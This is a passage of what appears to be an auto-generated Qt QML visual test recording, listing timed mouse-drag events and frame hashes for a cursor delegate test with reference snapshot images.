type: 5 - button: 0 - buttons: 1 - x: 194; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5472 - hash: "698827bfa7ff2eae6b0e0efa99bb15bb" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 196; y: 92 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 198; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5488 - hash: "67c7adef5e41481d631f54d34423b93d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5504 - hash: "097512c005127fa3ebfcbc52808264a8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 91 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5520 - hash: "ad64b5913350e6c6fda199ecb34278f4" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 91 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 201; y: 90 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5536 - hash: "3237e88e0f40595d2fde62723c00b7fa" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 202; y: 89 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5552 - hash: "18db89296849f22a7af0a1ffc9762a32" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5568 - hash: "7f6ac84baaa2c5fcd22ba45172611840" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 204; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5584 - hash: "7b887d3aa44229d9f25fdde8f5ccf471" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 207; y: 86 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 208; y: 85 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5600 - hash: "b0c08726d0f2a460d5862cd2d7ee6230" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 210; y: 85 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5616 - hash: "d99389a3287d453b942f070d8c1e86e8" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5632 - hash: "a0751fa826b03cb25e615c6a1435d92a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 213; y: 84 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 214; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5648 - hash: "f33da88ae881c846bd86ab3dc4f12efc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5664 - hash: "7049bee9a984a2c2d3101eb6d3cce31e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5680 - hash: "72757a5099748b70241a0d4279e42313" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 84 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5696 - hash: "705feb098ebb2d689526d9271098d6b5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5712 - hash: "49de92770edb0aae82cf66ae42b31caa" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 218; y: 84 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5728 - hash: "70fe89f9dce556ec1859f325aa27b7db" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 85 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 86 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 220; y: 86 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5744 - hash: "1ededcc625a0e9e317c5aefc238a175a" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 221; y: 87 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5760 - image: "cursorDelegate.5.png" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 87 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5776 - hash: "f1ae53071836512830f7284c4ac884b3" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 88 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5792 - hash: "f73c2b66b61bdcb080f8be6607079729" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 224; y: 90 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5808 - hash: "11da14806fbca5c7cd559286fb5d70ff" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 226; y: 92 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5824 - hash: "b3ad82e900925227fb020009ae619d28" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 228; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5840 - hash: "d8cea4160f0044b09e595610ead01879" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 229; y: 96 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 231; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5856 - hash: "bdd0d1bea8590b40cdce2fb45e17901b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 232; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5872 - hash: "007a5d123eea589264e22f862f1bcac6" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 233; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5888 - hash: "3a83635e8371f3e26baf83c285b7801d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 233; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5904 - hash: "6615931007ab0f9da070b6316068ad12" - } - Frame { - msec: 5920 - hash: "be695ab0dced25c1c498d977fc822cef" - } - Frame { - msec: 5936 - hash: "46dea7348473bc6ce4ea696292e5aae0" - } - Frame { - msec: 5952 - hash: "23ce0ba723ffe4253610fdc635df9ae2" - } - Frame { - msec: 5968 - hash: "9d6243396fd98b7efd14ae8a67297e79" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 233; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 232; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 232; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 231; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 230; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 229; y: 99 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 228; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 227; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6064 - hash: "be488252ce6c39317c33706f7febe7b5" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 225; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6080 - hash: "16c38b5dcd8ffbadc533d4fea8a85b0d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 224; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 222; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6096 - hash: "a3ca6fa1bbc5ca3ff4cf281ae112102d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 220; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6112 - hash: "58e53a9cb886d6d90c0b5987d0693904" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 219; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6128 - hash: "a7f3e07ad0335e2852a156b5a3e1bd3d" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 217; y: 102 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 216; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6144 - hash: "bea9d0338212c01474b25ee637aa8fd0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 215; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6160 - hash: "b509c0cdea6b1352ff1e146a8f243820" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 213; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6176 - hash: "9c968354773878009af2f176b1e38d42" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 102 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 212; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6192 - hash: "d8cea4160f0044b09e595610ead01879" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 210; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6208 - hash: "b3ad82e900925227fb020009ae619d28" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 210; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6224 - hash: "11da14806fbca5c7cd559286fb5d70ff" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 208; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 207; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6240 - hash: "707f51caadf24d3ed88b69c290d56971" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 206; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6256 - hash: "c23b2afed7fa0e3dbce1183cf8e8d724" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 205; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6272 - hash: "653b2e2d711c1abc1893d0068f4c531c" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 204; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 203; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6288 - hash: "246a73b19421f0ea8ec444429bd6704e" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 202; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6304 - hash: "3878df64c0cecb2051e04dafe16ad407" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 201; y: 104 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6320 - hash: "1cf92a793a4d145acce08c61cca3ba4f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 200; y: 103 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 199; y: 103 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6336 - hash: "6c5f70c941a04172aae855eed1516971" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 197; y: 102 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6352 - hash: "5f4b8d6ad49de0ea1a2ee057e783b363" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 196; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 194; y: 101 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6368 - hash: "dc185cf4a14801d7bcc24ceadffe312b" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 191; y: 101 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 188; y: 100 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6384 - hash: "6934c069d1b7daf1c2dd76739941c7c2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 187; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6400 - hash: "415510947b49a08459523fa2221d3609" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 185; y: 99 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6416 - hash: "9586619df75f07cc1f01201abd0f1f43" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 182; y: 98 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6432 - hash: "d016b14c9d5e5cd2545f1c85aa1edc4f" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 176; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6448 - hash: "4100837adeaf1557534f5c243eeacc37" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 171; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6464 - hash: "a9351f624dc7de55ca8e799cf4371e75" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 166; y: 94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 163; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6480 - hash: "8f2f9ba7de4e01767dda2c6d8f09e218" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 160; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6496 - hash: "fb9b7d7e1aa140efc7e39cbca7299d34" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 159; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6512 - hash: "eb1c2399d5779cc3382f02e69e5a31f1" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 157; y: 94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 156; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6528 - hash: "3bd98dc8a8cfb7af8a5f2ab11f387065" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 156; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6544 - hash: "1eea9af6e5f359b96df86d56d74f8375" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 155; y: 94 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6560 - hash: "74c68b948d8e1d3c716eba5f1a186464" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 154; y: 94 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 153; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6576 - hash: "7103ecc0c21208d210938b0cd86fa4e2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 152; y: 95 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 151; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6592 - hash: "187b7801be7cd9643c707016166fcb38" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 149; y: 95 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6608 - hash: "571fe7704d5d95e91d4bd411ab00edf0" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 148; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6624 - hash: "2b6fd25a47274ffa56c3d0020babfdfc" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 146; y: 96 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6640 - hash: "febcd6b5fc1806ff57d1669c79aa4cb2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 145; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6656 - hash: "5c731fc4a2aeccf55a0af2b7171f25ce" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 145; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6672 - hash: "7d9df9dd9a99eabaa4b426438e44d612" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6688 - hash: "48278540489142f8a63ed120f4b956c2" - } - Mouse { - type: 5 - button: 0 - buttons: 1 - x: 144; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6704 - hash: "d08abdfb587a7ec07872cb662526b6d8" - } - Frame { - msec: 6720 - image: "cursorDelegate.6.png" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 144; y: 97 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6736 - hash: "4622738082ac75e00b6c63e846b7e98b" - } - Frame { - msec: 6752 - hash: "87a9f2facbaba462c562f09947bb7ded" - } - Frame { - msec: 6768 - hash: "77e730ece9f195c3627508d1c2a126fc" - } - Frame { - msec: 6784 - hash: "4a02aaca12e3fd86ee3b516b3a307f86" - } - Frame { - msec: 6800 - hash: "0a1c2eb8a7451a5e37fefb96a58a88a1" - } - Frame { - msec: 6816 - hash: "7f2d9959323f0707e36ecb2252c89727" - } - Frame { - msec: 6832 - hash: "3462a3e166120515e67430600e4653f8" - } - Frame { - msec: 6848 - hash: "eac8375d9b9cf0afbf232e27c6ceb037" - } - Frame { - msec: 6864 - hash: "fbefb1e0801f4578ab93dd7ff4062e68" - } - Frame { - msec: 6880 - hash: "078d75d72bff036574b85ac0aeaaf2b6" - } - Frame { - msec: 6896 - hash: "14b328c8ec6276e022643102af80fa44" - } - Frame { - msec: 6912 - hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" - } - Frame { - msec: 6928 - hash: "df6f025130dc82f4764def81cec5fa7b" - } - Frame { - msec: 6944 - hash: "cf467854dfde9b2111bc6e7e4442aab5" - } - Frame { - msec: 6960 - hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" - } - Frame { - msec: 6976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 6992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 7008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 7024 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 7040 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 7056 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 7072 - hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" - } - Frame { - msec: 7088 - hash: "cf467854dfde9b2111bc6e7e4442aab5" - } - Frame { - msec: 7104 - hash: "df6f025130dc82f4764def81cec5fa7b" - } - Frame { - msec: 7120 - hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" - } - Frame { - msec: 7136 - hash: "14b328c8ec6276e022643102af80fa44" - } - Frame { - msec: 7152 - hash: "078d75d72bff036574b85ac0aeaaf2b6" - } - Frame { - msec: 7168 - hash: "fbefb1e0801f4578ab93dd7ff4062e68" - } - Frame { - msec: 7184 - hash: "eac8375d9b9cf0afbf232e27c6ceb037" - } - Frame { - msec: 7200 - hash: "3462a3e166120515e67430600e4653f8" - } - Frame { - msec: 7216 - hash: "7f2d9959323f0707e36ecb2252c89727" - } - Frame { - msec: 7232 - hash: "0a1c2eb8a7451a5e37fefb96a58a88a1" - } - Frame { - msec: 7248 - hash: "4a02aaca12e3fd86ee3b516b3a307f86" - } - Frame { - msec: 7264 - hash: "77e730ece9f195c3627508d1c2a126fc" - } - Frame { - msec: 7280 - hash: "87a9f2facbaba462c562f09947bb7ded" - } - Frame { - msec: 7296 - hash: "4622738082ac75e00b6c63e846b7e98b" - } - Frame { - msec: 7312 - hash: "9fcec7616e28cb8317709656fd94f480" - } - Frame { - msec: 7328 - hash: "d08abdfb587a7ec07872cb662526b6d8" - } - Frame { - msec: 7344 - hash: "48278540489142f8a63ed120f4b956c2" - } - Frame { - msec: 7360 - hash: "7d9df9dd9a99eabaa4b426438e44d612" - } - Frame { - msec: 7376 - hash: "5c731fc4a2aeccf55a0af2b7171f25ce" - } - Frame { - msec: 7392 - hash: "febcd6b5fc1806ff57d1669c79aa4cb2" - } - Frame { - msec: 7408 - hash: "4ad2c0877360b0e1bf2212f9455f741e" - } - Frame { - msec: 7424 - hash: "4df1951aac4ed1957925c95e112b0766" - } - Frame { - msec: 7440 - hash: "bfbb624abe63639f2a7cb826b6b47393" - } - Frame { - msec: 7456 - hash: "538cf4ee98145b3801e198b036e24a46" - } - Frame { - msec: 7472 - hash: "5602c039a304ac0b1fd99957970a825b" - } - Frame { - msec: 7488 - hash: "9ddd7709269b9a008e15d942e156e13a" - } - Frame { - msec: 7504 - hash: "91d7c43f5f985d624e77da43ba5fb90f" - } - Frame { - msec: 7520 - hash: "9153b0419d28e3c8137b58f95451cd58" - } - Frame { - msec: 7536 - hash: "c5aad5ea4db81cf72f1ff390ed1dc868" - } - Frame { - msec: 7552 - hash: "47b52ce9e5c705017e94b419b53d20d9" - } - Frame { - msec: 7568 - hash: "f968e3289a2a6343cdb64e37b83f142a" - } - Frame { - msec: 7584 - hash: "6fe898a37b17b6b6fa9a2971b518d185" - } - Frame { - msec: 7600 - hash: "90ced2e487b6e760f2ad2c7d6375a36f" - } - Frame { - msec: 7616 - hash: "b2d87713d12a54d4d7b6fd6ba2671704" - } - Frame { - msec: 7632 - hash: "edce9857bd0e93ab841ae62ffba0149f" - } - Frame { - msec: 7648 - hash: "13ce69facee6bf01c9712db1781c5ef9" - } - Frame { - msec: 7664 - hash: "64924e43e004f0d9e90c23f61813c732" - } - Frame { - msec: 7680 - image: "cursorDelegate.7.png" - } - Frame { - msec: 7696 - hash: "9c384359c664a71b5b6b9f9d62dd38bf" - } - Frame { - msec: 7712 - hash: "5998579d228bcf0efdbcee805796ec23" - } - Frame { - msec: 7728 - hash: "fe69cab70ad5b25f757bc413b895ff94" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 227; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7744 - hash: "1ededcc625a0e9e317c5aefc238a175a" - } - Frame { - msec: 7760 - hash: "460a4cbee55ccdeda1941c8dccf08cbd" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 227; y: 114 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7776 - hash: "f1ae53071836512830f7284c4ac884b3" - } - Frame { - msec: 7792 - hash: "f73c2b66b61bdcb080f8be6607079729" - } - Frame { - msec: 7808 - hash: "11da14806fbca5c7cd559286fb5d70ff" - } - Frame { - msec: 7824 - hash: "b3ad82e900925227fb020009ae619d28" - } - Frame { - msec: 7840 - hash: "d8cea4160f0044b09e595610ead01879" - } - Frame { - msec: 7856 - hash: "9c968354773878009af2f176b1e38d42" - } - Frame { - msec: 7872 - hash: "b509c0cdea6b1352ff1e146a8f243820" - } - Frame { - msec: 7888 - hash: "bea9d0338212c01474b25ee637aa8fd0" - } - Frame { - msec: 7904 - hash: "a7f3e07ad0335e2852a156b5a3e1bd3d" - } - Frame { - msec: 7920 - hash: "58e53a9cb886d6d90c0b5987d0693904" - } - Frame { - msec: 7936 - hash: "a3ca6fa1bbc5ca3ff4cf281ae112102d" - } - Frame { - msec: 7952 - hash: "16c38b5dcd8ffbadc533d4fea8a85b0d" - } - Frame { - msec: 7968 - hash: "be488252ce6c39317c33706f7febe7b5" - } - Frame { - msec: 7984 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8000 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8016 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8032 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8048 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8064 - hash: "be488252ce6c39317c33706f7febe7b5" - } - Frame { - msec: 8080 - hash: "16c38b5dcd8ffbadc533d4fea8a85b0d" - } - Frame { - msec: 8096 - hash: "a3ca6fa1bbc5ca3ff4cf281ae112102d" - } - Frame { - msec: 8112 - hash: "58e53a9cb886d6d90c0b5987d0693904" - } - Frame { - msec: 8128 - hash: "a7f3e07ad0335e2852a156b5a3e1bd3d" - } - Frame { - msec: 8144 - hash: "bea9d0338212c01474b25ee637aa8fd0" - } - Frame { - msec: 8160 - hash: "b509c0cdea6b1352ff1e146a8f243820" - } - Frame { - msec: 8176 - hash: "9c968354773878009af2f176b1e38d42" - } - Frame { - msec: 8192 - hash: "d8cea4160f0044b09e595610ead01879" - } - Frame { - msec: 8208 - hash: "b3ad82e900925227fb020009ae619d28" - } - Frame { - msec: 8224 - hash: "11da14806fbca5c7cd559286fb5d70ff" - } - Frame { - msec: 8240 - hash: "f73c2b66b61bdcb080f8be6607079729" - } - Frame { - msec: 8256 - hash: "f1ae53071836512830f7284c4ac884b3" - } - Frame { - msec: 8272 - hash: "460a4cbee55ccdeda1941c8dccf08cbd" - } - Frame { - msec: 8288 - hash: "1ededcc625a0e9e317c5aefc238a175a" - } - Frame { - msec: 8304 - hash: "70fe89f9dce556ec1859f325aa27b7db" - } - Frame { - msec: 8320 - hash: "49de92770edb0aae82cf66ae42b31caa" - } - Frame { - msec: 8336 - hash: "705feb098ebb2d689526d9271098d6b5" - } - Frame { - msec: 8352 - hash: "72757a5099748b70241a0d4279e42313" - } - Frame { - msec: 8368 - hash: "7049bee9a984a2c2d3101eb6d3cce31e" - } - Frame { - msec: 8384 - hash: "f33da88ae881c846bd86ab3dc4f12efc" - } - Frame { - msec: 8400 - hash: "a0751fa826b03cb25e615c6a1435d92a" - } - Frame { - msec: 8416 - hash: "d99389a3287d453b942f070d8c1e86e8" - } - Frame { - msec: 8432 - hash: "e3219357e73a2dfd5b80dfbd6feb79e2" - } - Frame { - msec: 8448 - hash: "c0953accd856883c813d4ecf99fb632b" - } - Frame { - msec: 8464 - hash: "185743339cba9dfc1a2c2ff1efd23855" - } - Frame { - msec: 8480 - hash: "30a4419de779037fd84bd70a99c4d6de" - } - Frame { - msec: 8496 - hash: "1d9cbd0814831c518e9e8041fe8285c9" - } - Frame { - msec: 8512 - hash: "81d660df1b0eab7c382991b600f88ba3" - } - Frame { - msec: 8528 - hash: "7ee1467525b9fe3b6a32fba8c2454df1" - } - Frame { - msec: 8544 - hash: "28dd72957652cf130d28d30203b36c59" - } - Frame { - msec: 8560 - hash: "e9697d06a22958cea4f766dd3ec31ca9" - } - Frame { - msec: 8576 - hash: "81970c31a0a1e42929c83ef5140401c2" - } - Frame { - msec: 8592 - hash: "ebb5be43955725bef66bf99bd7288c04" - } - Frame { - msec: 8608 - hash: "afbf0645ea651b2c459eeb43bdc65992" - } - Frame { - msec: 8624 - hash: "42bf6ab3963652617f2feb96ee170af5" - } - Frame { - msec: 8640 - image: "cursorDelegate.8.png" - } - Frame { - msec: 8656 - hash: "4a5966f600f9b27bf7a65fcc6c1c5d17" - } - Frame { - msec: 8672 - hash: "ecdc1d89af1e76648c8298e2b9940549" - } - Frame { - msec: 8688 - hash: "0ba1e105a7ae41926e2106b60eafdec9" - } - Frame { - msec: 8704 - hash: "96e4f277d4ff76afe0c2d58b4aed3acb" - } - Frame { - msec: 8720 - hash: "f41c6fd9e22354b8f5c940c04930a591" - } - Frame { - msec: 8736 - hash: "00b522554cf6c0c09e5425f4d3c3fcf9" - } - Frame { - msec: 8752 - hash: "e8549c0c361f20d167cab128dc996274" - } - Frame { - msec: 8768 - hash: "976c61615250f9bfa3b4c02ee88bee03" - } - Frame { - msec: 8784 - hash: "06c95d2fa5e2b4751e5693b179e76eb4" - } - Frame { - msec: 8800 - hash: "a3d79197235c4717b1f9af3582118ca6" - } - Frame { - msec: 8816 - hash: "68b23db8f519aa161278074aa318eaa1" - } - Frame { - msec: 8832 - hash: "af967462be12d0b6ddd3571b00804c12" - } - Frame { - msec: 8848 - hash: "46f5c0baa2b95fd418984eebe308157e" - } - Frame { - msec: 8864 - hash: "0a7407c6c751b3f1380a99883e95f1dd" - } - Frame { - msec: 8880 - hash: "9969c206488671c45c43f3a3dd3f5994" - } - Frame { - msec: 8896 - hash: "89efa872ce2e71935b47cac101bf15c9" - } - Frame { - msec: 8912 - hash: "a4545a0c50fb071d267b06bf2d114802" - } - Frame { - msec: 8928 - hash: "f4df98459c18399e1c6b2d8a43bdd678" - } - Frame { - msec: 8944 - hash: "027eb091eea8bf51d7ad3ff44120e075" - } - Frame { - msec: 8960 - hash: "138ec35b850d20664f905a4eea6f7456" - } - Frame { - msec: 8976 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 8992 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9008 - hash: "e165a0b90fdc1eef2c8244ad8545bd6f" - } - Frame { - msec: 9024 